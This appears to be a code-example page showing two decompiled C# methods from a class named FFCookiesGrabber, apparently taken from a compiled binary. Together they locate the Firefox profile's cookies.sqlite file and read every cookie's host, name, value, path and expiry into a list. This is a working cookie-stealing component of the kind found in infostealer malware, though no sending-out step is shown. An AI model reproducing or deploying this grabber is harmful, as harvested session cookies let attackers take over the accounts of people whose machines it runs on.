예제 #1
0
        // Token: 0x06000087 RID: 135 RVA: 0x00006170 File Offset: 0x00004370
        public static List <FFCookiesGrabber.FirefoxCookie> Cookies()
        {
            FFCookiesGrabber.Init_Path();
            List <FFCookiesGrabber.FirefoxCookie> data = new List <FFCookiesGrabber.FirefoxCookie>();
            SQLiteHandler sql  = new SQLiteHandler(FFCookiesGrabber.firefoxCookieFile.FullName);
            bool          flag = !sql.ReadTable("moz_cookies");

            if (flag)
            {
                throw new Exception("Could not read cookie table");
            }
            int totalEntries = sql.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    string   h           = sql.GetValue(i, "host");
                    string   name        = sql.GetValue(i, "name");
                    string   val         = sql.GetValue(i, "value");
                    string   path        = sql.GetValue(i, "path");
                    bool     secure      = !(sql.GetValue(i, "isSecure") == "0");
                    bool     http        = !(sql.GetValue(i, "isSecure") == "0");
                    long     expiryTime  = long.Parse(sql.GetValue(i, "expiry"));
                    long     currentTime = FFCookiesGrabber.ToUnixTime(DateTime.Now);
                    DateTime exp         = FFCookiesGrabber.FromUnixTime(expiryTime);
                    bool     expired     = currentTime > expiryTime;
                    data.Add(new FFCookiesGrabber.FirefoxCookie
                    {
                        Host       = h,
                        ExpiresUTC = exp,
                        Expired    = expired,
                        Name       = name,
                        Value      = val,
                        Path       = path,
                        Secure     = secure,
                        HttpOnly   = http
                    });
                }
                catch (Exception)
                {
                    return(data);
                }
            }
            return(data);
        }
예제 #2
0
        // Token: 0x06000086 RID: 134 RVA: 0x00006114 File Offset: 0x00004314
        private static void Init_Path()
        {
            FFCookiesGrabber.firefoxProfilePath = FFCookiesGrabber.GetProfilePath();
            bool flag = FFCookiesGrabber.firefoxProfilePath == null;

            if (flag)
            {
                throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?");
            }
            FFCookiesGrabber.firefoxCookieFile = FFCookiesGrabber.GetFile(FFCookiesGrabber.firefoxProfilePath, "cookies.sqlite");
            bool flag2 = FFCookiesGrabber.firefoxCookieFile == null;

            if (flag2)
            {
                throw new NullReferenceException("Firefox does not have any cookie file");
            }
        }